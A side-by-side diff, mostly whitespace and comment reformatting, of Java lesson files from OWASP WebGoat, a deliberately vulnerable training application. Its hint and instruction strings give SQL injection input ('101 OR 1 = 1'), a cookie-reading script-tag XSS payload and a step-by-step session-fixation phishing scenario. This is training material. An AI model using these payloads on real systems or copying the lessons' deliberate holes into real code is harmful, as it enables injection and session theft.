* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {

View File

@ -3,7 +3,6 @@ package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -111,8 +110,8 @@ public class SameOriginPolicyProtection extends LessonAdapter
int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus", 0); int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus", 0);
int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus", 0); int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus", 0);
//System.out.println("hiddenWGStatus:" + hiddenWGStatusInt); // System.out.println("hiddenWGStatus:" + hiddenWGStatusInt);
//System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt); // System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt);
if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1) if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1)
{ {

View File

@ -86,7 +86,7 @@ public abstract class SequentialLessonAdapter extends LessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
//System.out.println(e); // System.out.println(e);
e.printStackTrace(); e.printStackTrace();
} }

View File

@ -7,7 +7,6 @@ import java.sql.ResultSet;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.Random; import java.util.Random;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -80,19 +79,19 @@ public class SessionFixation extends SequentialLessonAdapter
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
if(sid.equals("") && getLessonTracker(s).getStage() > 2 ) if (sid.equals("") && getLessonTracker(s).getStage() > 2)
{ {
getLessonTracker(s).setStage(1); getLessonTracker(s).setStage(1);
} }
String sid = s.getParser().getStringParameter("SID",""); String sid = s.getParser().getStringParameter("SID", "");
if (!sid.equals("")) if (!sid.equals(""))
{ {
this.sid = sid; this.sid = sid;
} }
if(!s.getParser().getStringParameter("Restart", "").equals("")) if (!s.getParser().getStringParameter("Restart", "").equals(""))
{ {
s.add(LOGGEDIN, "false"); s.add(LOGGEDIN, "false");
s.add("SID",""); s.add("SID", "");
this.sid = ""; this.sid = "";
} }
if (getLessonTracker(s).getStage() == 3) if (getLessonTracker(s).getStage() == 3)
@ -108,28 +107,28 @@ public class SessionFixation extends SequentialLessonAdapter
s.add("SID", randomSid); s.add("SID", randomSid);
this.sid = randomSid; this.sid = randomSid;
} }
String name = s.getParser().getStringParameter(USER, ""); String name = s.getParser().getStringParameter(USER, "");
String password = s.getParser().getStringParameter(PASSWORD, ""); String password = s.getParser().getStringParameter(PASSWORD, "");
if(correctLogin(name, password, s)) if (correctLogin(name, password, s))
{ {
getLessonTracker(s).setStage(4); getLessonTracker(s).setStage(4);
sid=""; sid = "";
s.add(LOGGEDIN, "true"); s.add(LOGGEDIN, "true");
s.add(LOGGEDINUSER, name); s.add(LOGGEDINUSER, name);
s.setMessage("You completed stage 3!"); s.setMessage("You completed stage 3!");
} }
} }
if(getLessonTracker(s).getStage() == 4) if (getLessonTracker(s).getStage() == 4)
{ {
if (sid.equals("NOVALIDSESSION")) if (sid.equals("NOVALIDSESSION"))
{ {
//System.out.println("STAGE 5"); // System.out.println("STAGE 5");
getLessonTracker(s).setStage(5); getLessonTracker(s).setStage(5);
} }
} }
if (getLessonTracker(s).getStage() == 2) if (getLessonTracker(s).getStage() == 2)
@ -183,14 +182,14 @@ public class SessionFixation extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String mailHeader = "<b>Mail From:</b> &nbsp;&nbsp;admin@webgoatfinancial.com<br><br>"; String mailHeader = "<b>Mail From:</b> &nbsp;&nbsp;admin@webgoatfinancial.com<br><br>";
String mailContent = (String) s.get(MAILCONTENTNAME); String mailContent = (String) s.get(MAILCONTENTNAME);
//Reset Lesson if server was shut down // Reset Lesson if server was shut down
if(mailContent == null) if (mailContent == null)
{ {
getLessonTracker(s).setStage(1); getLessonTracker(s).setStage(1);
return createStage1Content(s); return createStage1Content(s);
} }
ec.addElement(mailHeader + mailContent); ec.addElement(mailHeader + mailContent);
return ec; return ec;
@ -202,40 +201,40 @@ public class SessionFixation extends SequentialLessonAdapter
{ {
return createStage3Content(s); return createStage3Content(s);
} }
@Override @Override
protected Element doStage4(WebSession s) throws Exception protected Element doStage4(WebSession s) throws Exception
{ {
return createStage4Content(s); return createStage4Content(s);
} }
@Override @Override
protected Element doStage5(WebSession s) throws Exception protected Element doStage5(WebSession s) throws Exception
{ {
//System.out.println("Doing stage 5"); // System.out.println("Doing stage 5");
return createStage5Content(s); return createStage5Content(s);
} }
private Element createStage5Content(WebSession s) private Element createStage5Content(WebSession s)
{ {
return createMainLoginContent(s); return createMainLoginContent(s);
} }
private Element createStage3Content(WebSession s) private Element createStage3Content(WebSession s)
{ {
return createMainLoginContent(s); return createMainLoginContent(s);
} }
private Element createStage4Content(WebSession s) private Element createStage4Content(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement("<h2>Jane has logged into her account. Go and grab her session!" + ec.addElement("<h2>Jane has logged into her account. Go and grab her session!"
" Use Following link to reach the login screen of the bank:</h2><br><br>" + + " Use Following link to reach the login screen of the bank:</h2><br><br>" + "<a href="
"<a href=" + super.getLink() +"&SID=NOVALIDSESSION><center> Goat Hills Financial </center></a><br><br><br><br>"); + super.getLink() + "&SID=NOVALIDSESSION><center> Goat Hills Financial </center></a><br><br><br><br>");
return ec; return ec;
//return createMainLoginContent(s); // return createMainLoginContent(s);
} }
private Element createStage1Content(WebSession s) private Element createStage1Content(WebSession s)
@ -395,14 +394,14 @@ public class SessionFixation extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String name = s.getParser().getStringParameter(USER, ""); String name = s.getParser().getStringParameter(USER, "");
String password = s.getParser().getStringParameter(PASSWORD, ""); String password = s.getParser().getStringParameter(PASSWORD, "");
try try
{ {
// Logout Button is pressed // Logout Button is pressed
if (s.getParser().getRawParameter("logout", "").equals("true")) if (s.getParser().getRawParameter("logout", "").equals("true"))
{ {
s.add(LOGGEDIN, "false"); s.add(LOGGEDIN, "false");
s.add("SID",""); s.add("SID", "");
this.sid = ""; this.sid = "";
} }
@ -419,7 +418,7 @@ public class SessionFixation extends SequentialLessonAdapter
} }
else else
{ {
if((name+password).equals("")) if ((name + password).equals(""))
{ {
createLogInContent(ec, ""); createLogInContent(ec, "");
@ -432,7 +431,7 @@ public class SessionFixation extends SequentialLessonAdapter
} }
} catch (Exception e) } catch (Exception e)
{ {
if((name+password).equals("")) if ((name + password).equals(""))
{ {
createLogInContent(ec, ""); createLogInContent(ec, "");
@ -446,7 +445,6 @@ public class SessionFixation extends SequentialLessonAdapter
return ec; return ec;
} }
/** /**
* See if the password and corresponding user is valid * See if the password and corresponding user is valid
* *
@ -478,8 +476,7 @@ public class SessionFixation extends SequentialLessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -487,13 +484,11 @@ public class SessionFixation extends SequentialLessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
} }
return false; return false;
@ -541,7 +536,7 @@ public class SessionFixation extends SequentialLessonAdapter
table.addElement(tr3); table.addElement(tr3);
loginDiv.addElement(table); loginDiv.addElement(table);
ec.addElement(loginDiv); ec.addElement(loginDiv);
H2 errorTag = new H2(errorMessage); H2 errorTag = new H2(errorMessage);
errorTag.addAttribute("align", "center"); errorTag.addAttribute("align", "center");
errorTag.addAttribute("class", "info"); errorTag.addAttribute("class", "info");
@ -602,7 +597,7 @@ public class SessionFixation extends SequentialLessonAdapter
userDataDiv.addElement(table); userDataDiv.addElement(table);
ec.addElement(userDataDiv); ec.addElement(userDataDiv);
ec.addElement(createLogoutLink()); ec.addElement(createLogoutLink());
} }
/** /**
@ -650,8 +645,7 @@ public class SessionFixation extends SequentialLessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -659,8 +653,7 @@ public class SessionFixation extends SequentialLessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -715,8 +708,6 @@ public class SessionFixation extends SequentialLessonAdapter
hints.add("Stage 4: Click on the link provided"); hints.add("Stage 4: Click on the link provided");
hints.add("Stage 4: What is your actual SID?"); hints.add("Stage 4: What is your actual SID?");
hints.add("Stage 4: Change the SID (NOVALIDSESSION) to the choosen one in the mail"); hints.add("Stage 4: Change the SID (NOVALIDSESSION) to the choosen one in the mail");
return hints; return hints;
@ -732,35 +723,32 @@ public class SessionFixation extends SequentialLessonAdapter
{ {
stage = 4; stage = 4;
} }
String instructions = "STAGE " +stage+": "; String instructions = "STAGE " + stage + ": ";
if(stage == 1) if (stage == 1)
{ {
instructions += "You are Hacker Joe and " + instructions += "You are Hacker Joe and " + "you want to steal the session from Jane. "
"you want to steal the session from Jane. " + + "Send a prepared email to the victim " + "which looks like an official email from the bank. "
"Send a prepared email to the victim " + + "A template message is prepared below, you will need to add "
"which looks like an official email from the bank. " + + "a Session ID (SID) in the link inside the email. Alter "
"A template message is prepared below, you will need to add " + + "the link to include a SID.<br><br><b>You are: Hacker Joe</b>";
"a Session ID (SID) in the link inside the email. Alter " +
"the link to include a SID.<br><br><b>You are: Hacker Joe</b>";
} }
else if (stage == 2) else if (stage == 2)
{ {
instructions += "Now you are the victim Jane who received the email below. " + instructions += "Now you are the victim Jane who received the email below. "
"If you point on the link with your mouse you will see that there is a SID included. " + + "If you point on the link with your mouse you will see that there is a SID included. "
"Click on it to see what happens.<br><br><b>You are: Victim Jane</b> "; + "Click on it to see what happens.<br><br><b>You are: Victim Jane</b> ";
} }
else if (stage == 3) else if (stage == 3)
{ {
instructions += "The bank has asked you to verfy your data. Log in to see if your details are " + instructions += "The bank has asked you to verfy your data. Log in to see if your details are "
"correct. Your user name is <b>Jane</b> and your password is <b>tarzan</b>. <br><br><b>You are: Victim Jane</b> "; + "correct. Your user name is <b>Jane</b> and your password is <b>tarzan</b>. <br><br><b>You are: Victim Jane</b> ";
} }
else if (stage == 4) else if (stage == 4)
{ {
instructions += "It is time to steal the session now. Use following link to reach Goat Hills " + instructions += "It is time to steal the session now. Use following link to reach Goat Hills "
"Financial.<br><br><b>You are: Hacker Joe</b> "; + "Financial.<br><br><b>You are: Hacker Joe</b> ";
} }
return (instructions); return (instructions);
} }
@ -781,7 +769,7 @@ public class SessionFixation extends SequentialLessonAdapter
{ {
return ("Session Fixation"); return ("Session Fixation");
} }
@Override @Override
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
@ -793,27 +781,23 @@ public class SessionFixation extends SequentialLessonAdapter
form.setEncType(""); form.setEncType("");
setContent(form); setContent(form);
} }
@Override @Override
public String getLink() public String getLink()
{ {
if(sid.equals("")) if (sid.equals("")) { return super.getLink(); }
{
return super.getLink();
}
return super.getLink() + "&SID=" + sid; return super.getLink() + "&SID=" + sid;
} }
private String randomSIDGenerator() private String randomSIDGenerator()
{ {
String sid = ""; String sid = "";
sid = String.valueOf(Math.abs(random.nextInt()%100000)); sid = String.valueOf(Math.abs(random.nextInt() % 100000));
return sid; return sid;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));

View File

@ -56,8 +56,8 @@ import org.owasp.webgoat.session.WebgoatContext;
* *
* @author asmolen * @author asmolen
* *
* TODO To change the template for this generated type comment go to Window - Preferences - Java - * TODO To change the template for this generated type comment go to Window - Preferences -
* Code Style - Code Templates * Java - Code Style - Code Templates
*/ */
public class SoapRequest extends SequentialLessonAdapter public class SoapRequest extends SequentialLessonAdapter
{ {

View File

@ -310,13 +310,13 @@ public class SqlNumericInjection extends SequentialLessonAdapter
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("The application is taking the input from the select box and inserts it at the end of a pre-formed SQL command."); hints
.add("The application is taking the input from the select box and inserts it at the end of a pre-formed SQL command.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> " hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM weather_data WHERE station = \" + station "); + "\"SELECT * FROM weather_data WHERE station = \" + station ");
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true."); + "Try appending a SQL statement that always resolves to true.");
hints.add("Try to intercept the post request with WebScarab and replace the station " + hints.add("Try to intercept the post request with WebScarab and replace the station " + "with 101 OR 1 = 1");
"with 101 OR 1 = 1");
return hints; return hints;
} }
@ -351,7 +351,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter
super.handleRequest(s); super.handleRequest(s);
} catch (Exception e) } catch (Exception e)
{ {
//System.out.println("Exception caught: " + e); // System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);
} }
} }

View File

@ -273,7 +273,7 @@ public class SqlStringInjection extends SequentialLessonAdapter
super.handleRequest(s); super.handleRequest(s);
} catch (Exception e) } catch (Exception e)
{ {
//System.out.println("Exception caught: " + e); // System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);
} }
} }

View File

@ -79,7 +79,8 @@ public class StoredXss extends LessonAdapter
private static int count = 1; private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
// message
// message
/** /**
* Adds a feature to the Message attribute of the MessageBoardScreen object * Adds a feature to the Message attribute of the MessageBoardScreen object
@ -160,7 +161,8 @@ public class StoredXss extends LessonAdapter
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("You can put HTML tags in your message."); hints.add("You can put HTML tags in your message.");
hints.add("Bury a SCRIPT tag in the message to attack anyone who reads it."); hints.add("Bury a SCRIPT tag in the message to attack anyone who reads it.");
hints.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in the message field."); hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in the message field.");
hints.add("Enter this: &lt;script&gt;alert(document.cookie);&lt;/script&gt; in the message field."); hints.add("Enter this: &lt;script&gt;alert(document.cookie);&lt;/script&gt; in the message field.");
return hints; return hints;
@ -307,7 +309,7 @@ public class StoredXss extends LessonAdapter
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
public Element makeList(WebSession s) public Element makeList(WebSession s)
{ {
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
@ -326,7 +328,7 @@ public class StoredXss extends LessonAdapter
statement.setString(1, getNameroot(s.getUserName()) + "%"); statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setString(2, getClass().getName()); statement.setString(2, getClass().getName());
ResultSet results = statement.executeQuery(); ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
results.beforeFirst(); results.beforeFirst();

View File

@ -189,7 +189,7 @@ public class ThreadSafetyProblem extends LessonAdapter
super.handleRequest(s); super.handleRequest(s);
} catch (Exception e) } catch (Exception e)
{ {
//System.out.println("Exception caught: " + e); // System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);
} }
} }

View File

@ -125,13 +125,14 @@ public class UncheckedEmail extends LessonAdapter
sendSimulatedMail(ec, to, subject, message); sendSimulatedMail(ec, to, subject, message);
} }
} }
if(to.length() > 0 && "webgoat.admin@owasp.org".equals(to) && message.contains("<script")) if (to.length() > 0 && "webgoat.admin@owasp.org".equals(to) && message.contains("<script"))
{ {
s.setMessage("The attack worked! Now try to attack another person than the admin."); s.setMessage("The attack worked! Now try to attack another person than the admin.");
} }
// only complete the lesson if they changed the "to" hidden field and they sen a scripttag in the message // only complete the lesson if they changed the "to" hidden field and they sen a
// scripttag in the message
if (to.length() > 0 && !"webgoat.admin@owasp.org".equals(to) && message.contains("<script")) if (to.length() > 0 && !"webgoat.admin@owasp.org".equals(to) && message.contains("<script"))
{ {
makeSuccess(s); makeSuccess(s);

View File

@ -65,8 +65,8 @@ import org.owasp.webgoat.session.WebgoatContext;
* *
* @author asmolen * @author asmolen
* *
* TODO To change the template for this generated type comment go to Window - Preferences - Java - * TODO To change the template for this generated type comment go to Window - Preferences -
* Code Style - Code Templates * Java - Code Style - Code Templates
*/ */
public class WSDLScanning extends LessonAdapter public class WSDLScanning extends LessonAdapter
{ {

View File

@ -141,7 +141,6 @@ public class WelcomeScreen extends Screen
/* /*
* (non-Javadoc) * (non-Javadoc)
*
* @see session.Screen#getRole() * @see session.Screen#getRole()
*/ */
public String getRole() public String getRole()

View File

@ -56,8 +56,8 @@ import org.xml.sax.helpers.XMLReaderFactory;
* *
* @author rdawes * @author rdawes
* *
* TODO To change the template for this generated type comment go to Window - Preferences - Java - * TODO To change the template for this generated type comment go to Window - Preferences -
* Code Style - Code Templates * Java - Code Style - Code Templates
*/ */
public class WsSAXInjection extends LessonAdapter public class WsSAXInjection extends LessonAdapter
{ {

View File

@ -55,8 +55,8 @@ import org.owasp.webgoat.session.WebgoatContext;
* *
* @author asmolen * @author asmolen
* *
* TODO To change the template for this generated type comment go to Window - Preferences - Java - * TODO To change the template for this generated type comment go to Window - Preferences -
* Code Style - Code Templates * Java - Code Style - Code Templates
*/ */
public class WsSqlInjection extends LessonAdapter public class WsSqlInjection extends LessonAdapter
{ {
@ -72,7 +72,6 @@ public class WsSqlInjection extends LessonAdapter
/* /*
* (non-Javadoc) * (non-Javadoc)
*
* @see lessons.AbstractLesson#getMenuItem() * @see lessons.AbstractLesson#getMenuItem()
*/ */
static boolean completed; static boolean completed;

View File

@ -1,8 +1,7 @@
package org.owasp.webgoat.lessons.instructor.CrossSiteScripting; package org.owasp.webgoat.lessons.instructor.CrossSiteScripting;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile; import org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -10,34 +9,26 @@ import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/* STAGE 5 FIXES
Solution Summary: Edit FindProfile.java and change getRequestParameter().
Modify getRequestParameter() with lines denoted by // STAGE 5 - FIX.
Solution Steps:
1. Talk about the different parser methods. We could have used the parser method that takes a regular expression.
2. Call validate on the request parameter.
return validate(s.getParser().getRawParameter(name), (Pattern) patterns.get(name));
Note: patterns.get(name) is used to fetch the XSS validation pattern that is defined /*
in FindProfile.Java * STAGE 5 FIXES Solution Summary: Edit FindProfile.java and change getRequestParameter(). Modify
* getRequestParameter() with lines denoted by // STAGE 5 - FIX. Solution Steps: 1. Talk about the
protected static Map patterns = new HashMap(); * different parser methods. We could have used the parser method that takes a regular expression.
static * 2. Call validate on the request parameter. return validate(s.getParser().getRawParameter(name),
{ * (Pattern) patterns.get(name)); Note: patterns.get(name) is used to fetch the XSS validation
patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}")); * pattern that is defined in FindProfile.Java protected static Map patterns = new HashMap(); static
} * { patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}")); }
*/
*/
public class FindProfile_i extends FindProfile public class FindProfile_i extends FindProfile
{ {
public FindProfile_i(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public FindProfile_i(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName, chainedAction); super(lesson, lessonName, actionName, chainedAction);
} }
protected String getRequestParameter(WebSession s, String name) protected String getRequestParameter(WebSession s, String name) throws ParameterNotFoundException,
throws ParameterNotFoundException, ValidationException ValidationException
{ {
// NOTE: // NOTE:
// //
@ -46,12 +37,12 @@ public class FindProfile_i extends FindProfile
// //
// Another way this could be done is to use the reguler expression method in the // Another way this could be done is to use the reguler expression method in the
// ParameterParser class // ParameterParser class
// STAGE 5 - FIX // STAGE 5 - FIX
return validate(s.getParser().getRawParameter(name), (Pattern) patterns.get(name)); return validate(s.getParser().getRawParameter(name), (Pattern) patterns.get(name));
// Note the design goal here... // Note the design goal here...
//return s.getParser().getStringParameter(name), (Pattern) patterns.get(name)); // return s.getParser().getStringParameter(name), (Pattern) patterns.get(name));
} }
} }

View File

@ -1,9 +1,8 @@
package org.owasp.webgoat.lessons.instructor.CrossSiteScripting; package org.owasp.webgoat.lessons.instructor.CrossSiteScripting;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting; import org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting;
import org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile; import org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
@ -14,30 +13,20 @@ import org.owasp.webgoat.session.ParameterParser;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/* STAGE 2 FIXES
Solution Summary: Edit UpdateProfile.java and change parseEmployeeProfile().
Modify parseEmployeeProfile() with lines denoted by // STAGE 2 - FIX.
Solution Steps:
1. Talk about the different parser methods.
a. parseEmployeeProfile(subjectId, s.getRequest())
- uses the request object directly.
- calling validate() on the appropriate parameter
b. parseEmployeeProfile(subjectId, s.getParser())
- uses the parser object to pull request data (centralized mechanism)
2. Fix the request object version of the call // STAGE 2 - FIX /*
Replace the call to: * STAGE 2 FIXES Solution Summary: Edit UpdateProfile.java and change parseEmployeeProfile(). Modify
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); * parseEmployeeProfile() with lines denoted by // STAGE 2 - FIX. Solution Steps: 1. Talk about the
* different parser methods. a. parseEmployeeProfile(subjectId, s.getRequest()) - uses the request
With: * object directly. - calling validate() on the appropriate parameter b.
final Pattern PATTERN_ADDRESS1 = Pattern.compile("[a-zA-Z0-9,\\.\\- ]{0,80}"); // STAGE 2 - FIX * parseEmployeeProfile(subjectId, s.getParser()) - uses the parser object to pull request data
String address1 = validate(request.getParameter(CrossSiteScripting.ADDRESS1), PATTERN_ADDRESS1); // STAGE 2 - FIX * (centralized mechanism) 2. Fix the request object version of the call // STAGE 2 - FIX Replace
* the call to: String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); With: final
* Pattern PATTERN_ADDRESS1 = Pattern.compile("[a-zA-Z0-9,\\.\\- ]{0,80}"); // STAGE 2 - FIX String
3. Fix the parser version of the call. // STAGE 2 - ALTERNATE FIX * address1 = validate(request.getParameter(CrossSiteScripting.ADDRESS1), PATTERN_ADDRESS1); //
Change all calls in parseEmployeeProfile(subjectId, s.getParser()) to use * STAGE 2 - FIX 3. Fix the parser version of the call. // STAGE 2 - ALTERNATE FIX Change all calls
the appropriate parser.method() call * in parseEmployeeProfile(subjectId, s.getParser()) to use the appropriate parser.method() call
*/ */
public class UpdateProfile_i extends UpdateProfile public class UpdateProfile_i extends UpdateProfile
{ {
@ -46,8 +35,8 @@ public class UpdateProfile_i extends UpdateProfile
super(lesson, lessonName, actionName, chainedAction); super(lesson, lessonName, actionName, chainedAction);
} }
protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException,
protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException, ValidationException ValidationException
{ {
HttpServletRequest request = s.getRequest(); HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME); String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
@ -56,9 +45,14 @@ public class UpdateProfile_i extends UpdateProfile
String title = request.getParameter(CrossSiteScripting.TITLE); String title = request.getParameter(CrossSiteScripting.TITLE);
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER); String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
// Validate this parameter against a regular expression pattern designed for street addresses. // Validate this parameter against a regular expression pattern designed for street
final Pattern PATTERN_ADDRESS1 = Pattern.compile("[a-zA-Z0-9,\\.\\- ]{0,80}"); // STAGE 2 - FIX // addresses.
String address1 = validate(request.getParameter(CrossSiteScripting.ADDRESS1), PATTERN_ADDRESS1); // STAGE 2 - FIX final Pattern PATTERN_ADDRESS1 = Pattern.compile("[a-zA-Z0-9,\\.\\- ]{0,80}"); // STAGE 2 -
// FIX
String address1 = validate(request.getParameter(CrossSiteScripting.ADDRESS1), PATTERN_ADDRESS1); // STAGE
// 2
// -
// FIX
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2); String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER)); int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
@ -69,19 +63,18 @@ public class UpdateProfile_i extends UpdateProfile
String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE); String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES); String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION); String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
address1, address2, manager, startDate, salary, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription); personalDescription);
return employee; return employee;
} }
protected Employee parseEmployeeProfile(int subjectId, ParameterParser parser) protected Employee parseEmployeeProfile(int subjectId, ParameterParser parser) throws ParameterNotFoundException,
throws ParameterNotFoundException, ValidationException ValidationException
{ {
// STAGE 2 - ALTERNATE FIX // STAGE 2 - ALTERNATE FIX
String firstName = parser.getStrictAlphaParameter(CrossSiteScripting.FIRST_NAME, 20); String firstName = parser.getStrictAlphaParameter(CrossSiteScripting.FIRST_NAME, 20);
String lastName = parser.getStrictAlphaParameter(CrossSiteScripting.LAST_NAME, 20); String lastName = parser.getStrictAlphaParameter(CrossSiteScripting.LAST_NAME, 20);
String ssn = parser.getSsnParameter(CrossSiteScripting.SSN); String ssn = parser.getSsnParameter(CrossSiteScripting.SSN);
@ -97,12 +90,11 @@ public class UpdateProfile_i extends UpdateProfile
String disciplinaryActionDate = parser.getDateParameter(CrossSiteScripting.DISCIPLINARY_DATE); String disciplinaryActionDate = parser.getDateParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = parser.getStrictAlphaParameter(CrossSiteScripting.DISCIPLINARY_NOTES, 60); String disciplinaryActionNotes = parser.getStrictAlphaParameter(CrossSiteScripting.DISCIPLINARY_NOTES, 60);
String personalDescription = parser.getStrictAlphaParameter(CrossSiteScripting.DESCRIPTION, 60); String personalDescription = parser.getStrictAlphaParameter(CrossSiteScripting.DESCRIPTION, 60);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
address1, address2, manager, startDate, salary, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription); personalDescription);
return employee; return employee;
} }

View File

@ -1,14 +1,14 @@
package org.owasp.webgoat.lessons.instructor.CrossSiteScripting; package org.owasp.webgoat.lessons.instructor.CrossSiteScripting;
import org.owasp.webgoat.lessons.CrossSiteScripting.ViewProfile; import org.owasp.webgoat.lessons.CrossSiteScripting.ViewProfile;
